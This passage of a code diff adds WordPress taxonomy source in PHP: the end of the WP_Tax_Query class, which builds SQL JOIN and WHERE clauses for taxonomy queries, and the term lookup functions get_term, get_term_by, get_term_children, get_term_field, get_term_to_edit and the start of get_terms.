+				 * $queried_terms array, for use in WP_Query.
+				 */
+				if ( ! empty( $cleaned_clause['taxonomy'] ) && 'NOT IN' !== $cleaned_clause['operator'] ) {
+					$taxonomy = $cleaned_clause['taxonomy'];
+					if ( ! isset( $this->queried_terms[ $taxonomy ] ) ) {
+						$this->queried_terms[ $taxonomy ] = array();
+					}
+
+					/*
+					 * Backward compatibility: Only store the first
+					 * 'terms' and 'field' found for a given taxonomy.
+					 */
+					if ( ! empty( $cleaned_clause['terms'] ) && ! isset( $this->queried_terms[ $taxonomy ]['terms'] ) ) {
+						$this->queried_terms[ $taxonomy ]['terms'] = $cleaned_clause['terms'];
+					}
+
+					if ( ! empty( $cleaned_clause['field'] ) && ! isset( $this->queried_terms[ $taxonomy ]['field'] ) ) {
+						$this->queried_terms[ $taxonomy ]['field'] = $cleaned_clause['field'];
+					}
+				}
+
+			// Otherwise, it's a nested query, so we recurse.
+			} else if ( is_array( $query ) ) {
+				$cleaned_subquery = $this->sanitize_query( $query );
+
+				if ( ! empty( $cleaned_subquery ) ) {
+					// All queries with children must have a relation.
+					if ( ! isset( $cleaned_subquery['relation'] ) ) {
+						$cleaned_subquery['relation'] = 'AND';
+					}
+
+					$cleaned_query[] = $cleaned_subquery;
+				}
+			}
+		}
+
+		return $cleaned_query;
+	}
+
+	/**
+	 * Sanitize a 'relation' operator.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 *
+	 * @param string $relation Raw relation key from the query argument.
+	 * @return string Sanitized relation ('AND' or 'OR').
+	 */
+	public function sanitize_relation( $relation ) {
+		if ( 'OR' === strtoupper( $relation ) ) {
+			return 'OR';
+		} else {
+			return 'AND';
+		}
+	}
+
+	/**
+	 * Determine whether a clause is first-order.
+	 *
+	 * A "first-order" clause is one that contains any of the first-order
+	 * clause keys ('terms', 'taxonomy', 'include_children', 'field',
+	 * 'operator'). An empty clause also counts as a first-order clause,
+	 * for backward compatibility. Any clause that doesn't meet this is
+	 * determined, by process of elimination, to be a higher-order query.
+	 *
+	 * @since 4.1.0
+	 * @access protected
+	 *
+	 * @param array $query Tax query arguments.
+	 * @return bool Whether the query clause is a first-order clause.
+	 */
+	protected static function is_first_order_clause( $query ) {
+		return is_array( $query ) && ( empty( $query ) || array_key_exists( 'terms', $query ) || array_key_exists( 'taxonomy', $query ) || array_key_exists( 'include_children', $query ) || array_key_exists( 'field', $query ) || array_key_exists( 'operator', $query ) );
+	}
+
+	/**
+	 * Generates SQL clauses to be appended to a main query.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @param string $primary_table     Database table where the object being filtered is stored (eg wp_users).
+	 * @param string $primary_id_column ID column for the filtered object in $primary_table.
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to the main query.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	public function get_sql( $primary_table, $primary_id_column ) {
+		$this->primary_table = $primary_table;
+		$this->primary_id_column = $primary_id_column;
+
+		return $this->get_sql_clauses();
+	}
+
+	/**
+	 * Generate SQL clauses to be appended to a main query.
+	 *
+	 * Called by the public {@see WP_Tax_Query::get_sql()}, this method
+	 * is abstracted out to maintain parity with the other Query classes.
+	 *
+	 * @since 4.1.0
+	 * @access protected
+	 *
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to the main query.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	protected function get_sql_clauses() {
+		/*
+		 * $queries are passed by reference to get_sql_for_query() for recursion.
+		 * To keep $this->queries unaltered, pass a copy.
+		 */
+		$queries = $this->queries;
+		$sql = $this->get_sql_for_query( $queries );
+
+		if ( ! empty( $sql['where'] ) ) {
+			$sql['where'] = ' AND ' . $sql['where'];
+		}
+
+		return $sql;
+	}
+
+	/**
+	 * Generate SQL clauses for a single query array.
+	 *
+	 * If nested subqueries are found, this method recurses the tree to
+	 * produce the properly nested SQL.
+	 *
+	 * @since 4.1.0
+	 * @access protected
+	 *
+	 * @param array $query Query to parse, passed by reference.
+	 * @param int   $depth Optional. Number of tree levels deep we currently are.
+	 *                     Used to calculate indentation. Default 0.
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to a single query array.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	protected function get_sql_for_query( &$query, $depth = 0 ) {
+		$sql_chunks = array(
+			'join'  => array(),
+			'where' => array(),
+		);
+
+		$sql = array(
+			'join'  => '',
+			'where' => '',
+		);
+
+		$indent = '';
+		for ( $i = 0; $i < $depth; $i++ ) {
+			$indent .= "  ";
+		}
+
+		foreach ( $query as $key => &$clause ) {
+			if ( 'relation' === $key ) {
+				$relation = $query['relation'];
+			} else if ( is_array( $clause ) ) {
+
+				// This is a first-order clause.
+				if ( $this->is_first_order_clause( $clause ) ) {
+					$clause_sql = $this->get_sql_for_clause( $clause, $query );
+
+					$where_count = count( $clause_sql['where'] );
+					if ( ! $where_count ) {
+						$sql_chunks['where'][] = '';
+					} else if ( 1 === $where_count ) {
+						$sql_chunks['where'][] = $clause_sql['where'][0];
+					} else {
+						$sql_chunks['where'][] = '( ' . implode( ' AND ', $clause_sql['where'] ) . ' )';
+					}
+
+					$sql_chunks['join'] = array_merge( $sql_chunks['join'], $clause_sql['join'] );
+				// This is a subquery, so we recurse.
+				} else {
+					$clause_sql = $this->get_sql_for_query( $clause, $depth + 1 );
+
+					$sql_chunks['where'][] = $clause_sql['where'];
+					$sql_chunks['join'][]  = $clause_sql['join'];
+				}
+			}
+		}
+
+		// Filter to remove empties.
+		$sql_chunks['join']  = array_filter( $sql_chunks['join'] );
+		$sql_chunks['where'] = array_filter( $sql_chunks['where'] );
+
+		if ( empty( $relation ) ) {
+			$relation = 'AND';
+		}
+
+		// Filter duplicate JOIN clauses and combine into a single string.
+		if ( ! empty( $sql_chunks['join'] ) ) {
+			$sql['join'] = implode( ' ', array_unique( $sql_chunks['join'] ) );
+		}
+
+		// Generate a single WHERE clause with proper brackets and indentation.
+		if ( ! empty( $sql_chunks['where'] ) ) {
+			$sql['where'] = '( ' . "\n  " . $indent . implode( ' ' . "\n  " . $indent . $relation . ' ' . "\n  " . $indent, $sql_chunks['where'] ) . "\n" . $indent . ')';
+		}
+
+		return $sql;
+	}
+
+	/**
+	 * Generate SQL JOIN and WHERE clauses for a "first-order" query clause.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 *
+	 * @param array $clause       Query clause, passed by reference
+	 * @param array $parent_query Parent query array.
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to a first-order query.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	public function get_sql_for_clause( &$clause, $parent_query ) {
+		global $wpdb;
+
+		$sql = array(
+			'where' => array(),
+			'join'  => array(),
+		);
+
+		$join = '';
+
+		$this->clean_query( $clause );
+
+		if ( is_wp_error( $clause ) ) {
+			return self::$no_results;
+		}
+
+		$terms = $clause['terms'];
+		$operator = strtoupper( $clause['operator'] );
+
+		if ( 'IN' == $operator ) {
+
+			if ( empty( $terms ) ) {
+				return self::$no_results;
+			}
+
+			$terms = implode( ',', $terms );
+
+			/*
+			 * Before creating another table join, see if this clause has a
+			 * sibling with an existing join that can be shared.
+			 */
+			$alias = $this->find_compatible_table_alias( $clause, $parent_query );
+			if ( false === $alias ) {
+				$i = count( $this->table_aliases );
+				$alias = $i ? 'tt' . $i : $wpdb->term_relationships;
+
+				// Store the alias as part of a flat array to build future iterators.
+				$this->table_aliases[] = $alias;
+
+				// Store the alias with this clause, so later siblings can use it.
+				$clause['alias'] = $alias;
+
+				$join .= " INNER JOIN $wpdb->term_relationships";
+				$join .= $i ? " AS $alias" : '';
+				$join .= " ON ($this->primary_table.$this->primary_id_column = $alias.object_id)";
+			}
+
+
+			$where = "$alias.term_taxonomy_id $operator ($terms)";
+
+		} elseif ( 'NOT IN' == $operator ) {
+
+			if ( empty( $terms ) ) {
+				return $sql;
+			}
+
+			$terms = implode( ',', $terms );
+
+			$where = "$this->primary_table.$this->primary_id_column NOT IN (
+				SELECT object_id
+				FROM $wpdb->term_relationships
+				WHERE term_taxonomy_id IN ($terms)
+			)";
+
+		} elseif ( 'AND' == $operator ) {
+
+			if ( empty( $terms ) ) {
+				return $sql;
+			}
+
+			$num_terms = count( $terms );
+
+			$terms = implode( ',', $terms );
+
+			$where = "(
+				SELECT COUNT(1)
+				FROM $wpdb->term_relationships
+				WHERE term_taxonomy_id IN ($terms)
+				AND object_id = $this->primary_table.$this->primary_id_column
+			) = $num_terms";
+
+		} elseif ( 'NOT EXISTS' === $operator || 'EXISTS' === $operator ) {
+
+			$where = $wpdb->prepare( "$operator (
+				SELECT 1
+				FROM $wpdb->term_relationships
+				INNER JOIN $wpdb->term_taxonomy
+				ON $wpdb->term_taxonomy.term_taxonomy_id = $wpdb->term_relationships.term_taxonomy_id
+				WHERE $wpdb->term_taxonomy.taxonomy = %s
+				AND $wpdb->term_relationships.object_id = $this->primary_table.$this->primary_id_column
+			)", $clause['taxonomy'] );
+
+		}
+
+		$sql['join'][]  = $join;
+		$sql['where'][] = $where;
+		return $sql;
+	}
+
+	/**
+	 * Identify an existing table alias that is compatible with the current query clause.
+	 *
+	 * We avoid unnecessary table joins by allowing each clause to look for
+	 * an existing table alias that is compatible with the query that it
+	 * needs to perform.
+	 *
+	 * An existing alias is compatible if (a) it is a sibling of `$clause`
+	 * (ie, it's under the scope of the same relation), and (b) the combination
+	 * of operator and relation between the clauses allows for a shared table
+	 * join. In the case of {@see WP_Tax_Query}, this only applies to 'IN'
+	 * clauses that are connected by the relation 'OR'.
+	 *
+	 * @since 4.1.0
+	 * @access protected
+	 *
+	 * @param array       $clause       Query clause.
+	 * @param array       $parent_query Parent query of $clause.
+	 * @return string|bool Table alias if found, otherwise false.
+	 */
+	protected function find_compatible_table_alias( $clause, $parent_query ) {
+		$alias = false;
+
+		// Sanity check. Only IN queries use the JOIN syntax .
+		if ( ! isset( $clause['operator'] ) || 'IN' !== $clause['operator'] ) {
+			return $alias;
+		}
+
+		// Since we're only checking IN queries, we're only concerned with OR relations.
+		if ( ! isset( $parent_query['relation'] ) || 'OR' !== $parent_query['relation'] ) {
+			return $alias;
+		}
+
+		$compatible_operators = array( 'IN' );
+
+		foreach ( $parent_query as $sibling ) {
+			if ( ! is_array( $sibling ) || ! $this->is_first_order_clause( $sibling ) ) {
+				continue;
+			}
+
+			if ( empty( $sibling['alias'] ) || empty( $sibling['operator'] ) ) {
+				continue;
+			}
+
+			// The sibling must both have compatible operator to share its alias.
+			if ( in_array( strtoupper( $sibling['operator'] ), $compatible_operators ) ) {
+				$alias = $sibling['alias'];
+				break;
+			}
+		}
+
+		return $alias;
+	}
+
+	/**
+	 * Validates a single query.
+	 *
+	 * @since 3.2.0
+	 * @access private
+	 *
+	 * @param array &$query The single query.
+	 */
+	private function clean_query( &$query ) {
+		if ( empty( $query['taxonomy'] ) ) {
+			if ( 'term_taxonomy_id' !== $query['field'] ) {
+				$query = new WP_Error( 'Invalid taxonomy' );
+				return;
+			}
+
+			// so long as there are shared terms, include_children requires that a taxonomy is set
+			$query['include_children'] = false;
+		} elseif ( ! taxonomy_exists( $query['taxonomy'] ) ) {
+			$query = new WP_Error( 'Invalid taxonomy' );
+			return;
+		}
+
+		$query['terms'] = array_unique( (array) $query['terms'] );
+
+		if ( is_taxonomy_hierarchical( $query['taxonomy'] ) && $query['include_children'] ) {
+			$this->transform_query( $query, 'term_id' );
+
+			if ( is_wp_error( $query ) )
+				return;
+
+			$children = array();
+			foreach ( $query['terms'] as $term ) {
+				$children = array_merge( $children, get_term_children( $term, $query['taxonomy'] ) );
+				$children[] = $term;
+			}
+			$query['terms'] = $children;
+		}
+
+		$this->transform_query( $query, 'term_taxonomy_id' );
+	}
+
+	/**
+	 * Transforms a single query, from one field to another.
+	 *
+	 * @since 3.2.0
+	 *
+	 * @param array  &$query          The single query.
+	 * @param string $resulting_field The resulting field. Accepts 'slug', 'name', 'term_taxonomy_id',
+	 *                                or 'term_id'. Default: 'term_id'.
+	 */
+	public function transform_query( &$query, $resulting_field ) {
+		global $wpdb;
+
+		if ( empty( $query['terms'] ) )
+			return;
+
+		if ( $query['field'] == $resulting_field )
+			return;
+
+		$resulting_field = sanitize_key( $resulting_field );
+
+		switch ( $query['field'] ) {
+			case 'slug':
+			case 'name':
+				$terms = "'" . implode( "','", array_map( 'sanitize_title_for_query', $query['terms'] ) ) . "'";
+				$terms = $wpdb->get_col( "
+					SELECT $wpdb->term_taxonomy.$resulting_field
+					FROM $wpdb->term_taxonomy
+					INNER JOIN $wpdb->terms USING (term_id)
+					WHERE taxonomy = '{$query['taxonomy']}'
+					AND $wpdb->terms.{$query['field']} IN ($terms)
+				" );
+				break;
+			case 'term_taxonomy_id':
+				$terms = implode( ',', array_map( 'intval', $query['terms'] ) );
+				$terms = $wpdb->get_col( "
+					SELECT $resulting_field
+					FROM $wpdb->term_taxonomy
+					WHERE term_taxonomy_id IN ($terms)
+				" );
+				break;
+			default:
+				$terms = implode( ',', array_map( 'intval', $query['terms'] ) );
+				$terms = $wpdb->get_col( "
+					SELECT $resulting_field
+					FROM $wpdb->term_taxonomy
+					WHERE taxonomy = '{$query['taxonomy']}'
+					AND term_id IN ($terms)
+				" );
+		}
+
+		if ( 'AND' == $query['operator'] && count( $terms ) < count( $query['terms'] ) ) {
+			$query = new WP_Error( 'Inexistent terms' );
+			return;
+		}
+
+		$query['terms'] = $terms;
+		$query['field'] = $resulting_field;
+	}
+}
+
+/**
+ * Get all Term data from database by Term ID.
+ *
+ * The usage of the get_term function is to apply filters to a term object. It
+ * is possible to get a term object from the database before applying the
+ * filters.
+ *
+ * $term ID must be part of $taxonomy, to get from the database. Failure, might
+ * be able to be captured by the hooks. Failure would be the same value as $wpdb
+ * returns for the get_row method.
+ *
+ * There are two hooks, one is specifically for each term, named 'get_term', and
+ * the second is for the taxonomy name, 'term_$taxonomy'. Both hooks gets the
+ * term object, and the taxonomy name as parameters. Both hooks are expected to
+ * return a Term object.
+ *
+ * 'get_term' hook - Takes two parameters the term Object and the taxonomy name.
+ * Must return term object. Used in get_term() as a catch-all filter for every
+ * $term.
+ *
+ * 'get_$taxonomy' hook - Takes two parameters the term Object and the taxonomy
+ * name. Must return term object. $taxonomy will be the taxonomy name, so for
+ * example, if 'category', it would be 'get_category' as the filter name. Useful
+ * for custom taxonomies or plugging into default taxonomies.
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ * @see sanitize_term_field() The $context param lists the available values for get_term_by() $filter param.
+ *
+ * @param int|object $term If integer, will get from database. If object will apply filters and return $term.
+ * @param string $taxonomy Taxonomy name that $term is part of.
+ * @param string $output Constant OBJECT, ARRAY_A, or ARRAY_N
+ * @param string $filter Optional, default is raw or no WordPress defined filter will applied.
+ * @return mixed|null|WP_Error Term Row from database. Will return null if $term is empty. If taxonomy does not
+ * exist then WP_Error will be returned.
+ */
+function get_term($term, $taxonomy, $output = OBJECT, $filter = 'raw') {
+	global $wpdb;
+
+	if ( empty($term) ) {
+		$error = new WP_Error('invalid_term', __('Empty Term'));
+		return $error;
+	}
+
+	if ( ! taxonomy_exists($taxonomy) ) {
+		$error = new WP_Error('invalid_taxonomy', __('Invalid taxonomy'));
+		return $error;
+	}
+
+	if ( is_object($term) && empty($term->filter) ) {
+		wp_cache_add( $term->term_id, $term, $taxonomy );
+		$_term = $term;
+	} else {
+		if ( is_object($term) )
+			$term = $term->term_id;
+		if ( !$term = (int) $term )
+			return null;
+		if ( ! $_term = wp_cache_get( $term, $taxonomy ) ) {
+			$_term = $wpdb->get_row( $wpdb->prepare( "SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = %s AND t.term_id = %d LIMIT 1", $taxonomy, $term) );
+			if ( ! $_term )
+				return null;
+			wp_cache_add( $term, $_term, $taxonomy );
+		}
+	}
+
+	/**
+	 * Filter a term.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int|object $_term    Term object or ID.
+	 * @param string     $taxonomy The taxonomy slug.
+	 */
+	$_term = apply_filters( 'get_term', $_term, $taxonomy );
+
+	/**
+	 * Filter a taxonomy.
+	 *
+	 * The dynamic portion of the filter name, `$taxonomy`, refers
+	 * to the taxonomy slug.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int|object $_term    Term object or ID.
+	 * @param string     $taxonomy The taxonomy slug.
+	 */
+	$_term = apply_filters( "get_$taxonomy", $_term, $taxonomy );
+	$_term = sanitize_term($_term, $taxonomy, $filter);
+
+	if ( $output == OBJECT ) {
+		return $_term;
+	} elseif ( $output == ARRAY_A ) {
+		$__term = get_object_vars($_term);
+		return $__term;
+	} elseif ( $output == ARRAY_N ) {
+		$__term = array_values(get_object_vars($_term));
+		return $__term;
+	} else {
+		return $_term;
+	}
+}
+
+/**
+ * Get all Term data from database by Term field and data.
+ *
+ * Warning: $value is not escaped for 'name' $field. You must do it yourself, if
+ * required.
+ *
+ * The default $field is 'id', therefore it is possible to also use null for
+ * field, but not recommended that you do so.
+ *
+ * If $value does not exist, the return value will be false. If $taxonomy exists
+ * and $field and $value combinations exist, the Term will be returned.
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ * @see sanitize_term_field() The $context param lists the available values for get_term_by() $filter param.
+ *
+ * @param string $field Either 'slug', 'name', 'id' (term_id), or 'term_taxonomy_id'
+ * @param string|int $value Search for this term value
+ * @param string $taxonomy Taxonomy Name
+ * @param string $output Constant OBJECT, ARRAY_A, or ARRAY_N
+ * @param string $filter Optional, default is raw or no WordPress defined filter will applied.
+ * @return mixed Term Row from database. Will return false if $taxonomy does not exist or $term was not found.
+ */
+function get_term_by($field, $value, $taxonomy, $output = OBJECT, $filter = 'raw') {
+	global $wpdb;
+
+	if ( ! taxonomy_exists($taxonomy) )
+		return false;
+
+	if ( 'slug' == $field ) {
+		$field = 't.slug';
+		$value = sanitize_title($value);
+		if ( empty($value) )
+			return false;
+	} else if ( 'name' == $field ) {
+		// Assume already escaped
+		$value = wp_unslash($value);
+		$field = 't.name';
+	} else if ( 'term_taxonomy_id' == $field ) {
+		$value = (int) $value;
+		$field = 'tt.term_taxonomy_id';
+	} else {
+		$term = get_term( (int) $value, $taxonomy, $output, $filter );
+		if ( is_wp_error( $term ) )
+			$term = false;
+		return $term;
+	}
+
+	$term = $wpdb->get_row( $wpdb->prepare( "SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = %s AND $field = %s LIMIT 1", $taxonomy, $value ) );
+	if ( ! $term )
+		return false;
+
+	wp_cache_add( $term->term_id, $term, $taxonomy );
+
+	/** This filter is documented in wp-includes/taxonomy.php */
+	$term = apply_filters( 'get_term', $term, $taxonomy );
+
+	/** This filter is documented in wp-includes/taxonomy.php */
+	$term = apply_filters( "get_$taxonomy", $term, $taxonomy );
+
+	$term = sanitize_term($term, $taxonomy, $filter);
+
+	if ( $output == OBJECT ) {
+		return $term;
+	} elseif ( $output == ARRAY_A ) {
+		return get_object_vars($term);
+	} elseif ( $output == ARRAY_N ) {
+		return array_values(get_object_vars($term));
+	} else {
+		return $term;
+	}
+}
+
+/**
+ * Merge all term children into a single array of their IDs.
+ *
+ * This recursive function will merge all of the children of $term into the same
+ * array of term IDs. Only useful for taxonomies which are hierarchical.
+ *
+ * Will return an empty array if $term does not exist in $taxonomy.
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $term_id ID of Term to get children
+ * @param string $taxonomy Taxonomy Name
+ * @return array|WP_Error List of Term IDs. WP_Error returned if $taxonomy does not exist
+ */
+function get_term_children( $term_id, $taxonomy ) {
+	if ( ! taxonomy_exists($taxonomy) )
+		return new WP_Error('invalid_taxonomy', __('Invalid taxonomy'));
+
+	$term_id = intval( $term_id );
+
+	$terms = _get_term_hierarchy($taxonomy);
+
+	if ( ! isset($terms[$term_id]) )
+		return array();
+
+	$children = $terms[$term_id];
+
+	foreach ( (array) $terms[$term_id] as $child ) {
+		if ( $term_id == $child ) {
+			continue;
+		}
+
+		if ( isset($terms[$child]) )
+			$children = array_merge($children, get_term_children($child, $taxonomy));
+	}
+
+	return $children;
+}
+
+/**
+ * Get sanitized Term field.
+ *
+ * Does checks for $term, based on the $taxonomy. The function is for contextual
+ * reasons and for simplicity of usage. See sanitize_term_field() for more
+ * information.
+ *
+ * @since 2.3.0
+ *
+ * @param string $field Term field to fetch
+ * @param int $term Term ID
+ * @param string $taxonomy Taxonomy Name
+ * @param string $context Optional, default is display. Look at sanitize_term_field() for available options.
+ * @return mixed Will return an empty string if $term is not an object or if $field is not set in $term.
+ */
+function get_term_field( $field, $term, $taxonomy, $context = 'display' ) {
+	$term = (int) $term;
+	$term = get_term( $term, $taxonomy );
+	if ( is_wp_error($term) )
+		return $term;
+
+	if ( !is_object($term) )
+		return '';
+
+	if ( !isset($term->$field) )
+		return '';
+
+	return sanitize_term_field($field, $term->$field, $term->term_id, $taxonomy, $context);
+}
+
+/**
+ * Sanitizes Term for editing.
+ *
+ * Return value is sanitize_term() and usage is for sanitizing the term for
+ * editing. Function is for contextual and simplicity.
+ *
+ * @since 2.3.0
+ *
+ * @param int|object $id Term ID or Object
+ * @param string $taxonomy Taxonomy Name
+ * @return mixed|null|WP_Error Will return empty string if $term is not an object.
+ */
+function get_term_to_edit( $id, $taxonomy ) {
+	$term = get_term( $id, $taxonomy );
+
+	if ( is_wp_error($term) )
+		return $term;
+
+	if ( !is_object($term) )
+		return '';
+
+	return sanitize_term($term, $taxonomy, 'edit');
+}
+
+/**
+ * Retrieve the terms in a given taxonomy or list of taxonomies.
+ *
+ * You can fully inject any customizations to the query before it is sent, as
+ * well as control the output with a filter.
+ *
+ * The 'get_terms' filter will be called when the cache has the term and will
+ * pass the found term along with the array of $taxonomies and array of $args.
+ * This filter is also called before the array of terms is passed and will pass
+ * the array of terms, along with the $taxonomies and $args.
+ *
+ * The 'list_terms_exclusions' filter passes the compiled exclusions along with
+ * the $args.
+ *
+ * The 'get_terms_orderby' filter passes the ORDER BY clause for the query
+ * along with the $args array.
+ *
+ * The 'get_terms_fields' filter passes the fields for the SELECT query
+ * along with the $args array.
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string|array $taxonomies Taxonomy name or list of Taxonomy names.
+ * @param array|string $args {
+ *     Optional. Array or string of arguments to get terms.
+ *
+ *     @type string   $orderby               Field(s) to order terms by. Accepts term fields ('name', 'slug',
+ *                                           'term_group', 'term_id', 'id'), 'count' for term taxonomy count,
+ *                                           'include' to match the 'order' of the $include param, or 'none'
+ *                                           to skip ORDER BY. Defaults to 'name'.
+ *     @type string   $order                 Whether to order terms in ascending or descending order.
+ *                                           Accepts 'ASC' (ascending) or 'DESC' (descending).
+ *                                           Default 'ASC'.
+ *     @type bool|int     $hide_empty        Whether to hide terms not assigned to any posts. Accepts
+ *                                           1|true or 0|false. Default 1|true.
+ *     @type array|string $include           Array or comma/space-separated string of term ids to include.
+ *                                           Default empty array.
+ *     @type array|string $exclude           Array or comma/space-separated string of term ids to exclude.
+ *                                           If $include is non-empty, $exclude is ignored.
+ *                                           Default empty array.
+ *     @type array|string $exclude_tree      Array or comma/space-separated string of term ids to exclude
+ *                                           along with all of their descendant terms. If $include is
+ *                                           non-empty, $exclude_tree is ignored. Default empty array.
+ *     @type int          $number            Maximum number of terms to return. Accepts 1+ or -1 (all).
+ *                                           Default -1.
+ *     @type int          $offset            The number by which to offset the terms query. Default empty.
+ *     @type string       $fields            Term fields to query for. Accepts 'all' (returns an array of
+ *                                           term objects), 'ids' or 'names' (returns an array of integers
+ *                                           or strings, respectively. Default 'all'.
+ *     @type string|array $slug              Optional. Slug or array of slugs to return term(s) for. Default empty.
+ *     @type bool         $hierarchical      Whether to include terms that have non-empty descendants (even
+ *                                           if $hide_empty is set to true). Default true.
+ *     @type string       $search            Search criteria to match terms. Will be SQL-formatted with
+ *                                           wildcards before and after. Default empty.
+ *     @type string       $name__like        Retrieve terms with criteria by which a term is LIKE $name__like.
+ *                                           Default empty.
+ *     @type string       $description__like Retrieve terms where the description is LIKE $description__like.
+ *                                           Default empty.
+ *     @type bool         $pad_counts        Whether to pad the quantity of a term's children in the quantity
+ *                                           of each term's "count" object variable. Default false.
+ *     @type string       $get               Whether to return terms regardless of ancestry or whether the terms
+ *                                           are empty. Accepts 'all' or empty (disabled). Default empty.
+ *     @type int          $child_of          Term ID to retrieve child terms of. If multiple taxonomies
+ *                                           are passed, $child_of is ignored. Default 0.
+ *     @type int|string   $parent            Parent term ID to retrieve direct-child terms of. Default empty.
+ *     @type string       $cache_domain      Unique cache key to be produced when this query is stored in an
+ *                                           object cache. Default is 'core'.
+ * }
+ * @return array|WP_Error List of Term Objects and their children. Will return WP_Error, if any of $taxonomies
+ *                        do not exist.
+ */
+function get_terms( $taxonomies, $args = '' ) {
+	global $wpdb;
+	$empty_array = array();
+
+	$single_taxonomy = ! is_array( $taxonomies ) || 1 === count( $taxonomies );
+	if ( ! is_array( $taxonomies ) ) {
+		$taxonomies = array( $taxonomies );
+	}
+
+	foreach ( $taxonomies as $taxonomy ) {
+		if ( ! taxonomy_exists($taxonomy) ) {
+			$error = new WP_Error('invalid_taxonomy', __('Invalid taxonomy'));
+			return $error;
+		}
+	}
+
+	$defaults = array('orderby' => 'name', 'order' => 'ASC',
+		'hide_empty' => true, 'exclude' => array(), 'exclude_tree' => array(), 'include' => array(),
+		'number' => '', 'fields' => 'all', 'slug' => '', 'parent' => '',
+		'hierarchical' => true, 'child_of' => 0, 'get' => '', 'name__like' => '', 'description__like' => '',
+		'pad_counts' => false, 'offset' => '', 'search' => '', 'cache_domain' => 'core' );
+	$args = wp_parse_args( $args, $defaults );
+	$args['number'] = absint( $args['number'] );
+	$args['offset'] = absint( $args['offset'] );
+
+	// Save queries by not crawling the tree in the case of multiple taxes or a flat tax.
+	if ( ! $single_taxonomy || ! is_taxonomy_hierarchical( reset( $taxonomies ) ) ) {
+		$args['hierarchical'] = false;
+		$args['pad_counts'] = false;
+	}
+
+	// 'parent' overrides 'child_of'.
+	if ( 0 < intval( $args['parent'] ) ) {
+		$args['child_of'] = false;
+	}
+
+	if ( 'all' == $args['get'] ) {
+		$args['child_of'] = 0;
+		$args['hide_empty'] = 0;
+		$args['hierarchical'] = false;
+		$args['pad_counts'] = false;
+	}
+
+	/**
+	 * Filter the terms query arguments.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param array        $args       An array of arguments.
+	 * @param string|array $taxonomies A taxonomy or array of taxonomies.
+	 */
+	$args = apply_filters( 'get_terms_args', $args, $taxonomies );
+
+	$child_of = $args['child_of'];
+	if ( $child_of ) {
+		$hierarchy = _get_term_hierarchy( reset( $taxonomies ) );
+		if ( ! isset( $hierarchy[ $child_of ] ) ) {
+			return $empty_array;
+		}
+	}
+
+	$parent = $args['parent'];
+	if ( $parent ) {
+		$hierarchy = _get_term_hierarchy( reset( $taxonomies ) );
+		if ( ! isset( $hierarchy[ $parent ] ) ) {
+			return $empty_array;
+		}
+	}
+
+	// $args can be whatever, only use the args defined in defaults to compute the key
+	$filter_key = ( has_filter('list_terms_exclusions') ) ? serialize($GLOBALS['wp_filter']['list_terms_exclusions']) : '';
+	$key = md5( serialize( wp_array_slice_assoc( $args, array_keys( $defaults ) ) ) . serialize( $taxonomies ) . $filter_key );
+	$last_changed = wp_cache_get( 'last_changed', 'terms' );
+	if ( ! $last_changed ) {
+		$last_changed = microtime();
+		wp_cache_set( 'last_changed', $last_changed, 'terms' );
+	}
+	$cache_key = "get_terms:$key:$last_changed";
+	$cache = wp_cache_get( $cache_key, 'terms' );
+	if ( false !== $cache ) {
+
+		/**
+		 * Filter the given taxonomy's terms cache.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param array        $cache      Cached array of terms for the given taxonomy.
+		 * @param string|array $taxonomies A taxonomy or array of taxonomies.
+		 * @param array        $args       An array of arguments to get terms.
+		 */
+		$cache = apply_filters( 'get_terms', $cache, $taxonomies, $args );
+		return $cache;
+	}
+
+	$_orderby = strtolower( $args['orderby'] );
+	if ( 'count' == $_orderby ) {
+		$orderby = 'tt.count';
+	} else if ( 'name' == $_orderby ) {
+		$orderby = 't.name';
+	} else if ( 'slug' == $_orderby ) {
+		$orderby = 't.slug';
+	} else if ( 'include' == $_orderby && ! empty( $args['include'] ) ) {
+		$include = implode( ',', array_map( 'absint', $args['include'] ) );
+		$orderby = "FIELD( t.term_id, $include )";
+	} else if ( 'term_group' == $_orderby ) {
+		$orderby = 't.term_group';
+	} else if ( 'none' == $_orderby ) {
+		$orderby = '';
+	} elseif ( empty($_orderby) || 'id' == $_orderby ) {
+		$orderby = 't.term_id';
+	} else {
+		$orderby = 't.name';
+	}
+	/**
+	 * Filter the ORDERBY clause of the terms query.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string       $orderby    ORDERBY clause of the terms query.
+	 * @param array        $args       An array of terms query arguments.
+	 * @param string|array $taxonomies A taxonomy or array of taxonomies.
+	 */
+	$orderby = apply_filters( 'get_terms_orderby', $orderby, $args, $taxonomies );
+
+	$order = strtoupper( $args['order'] );
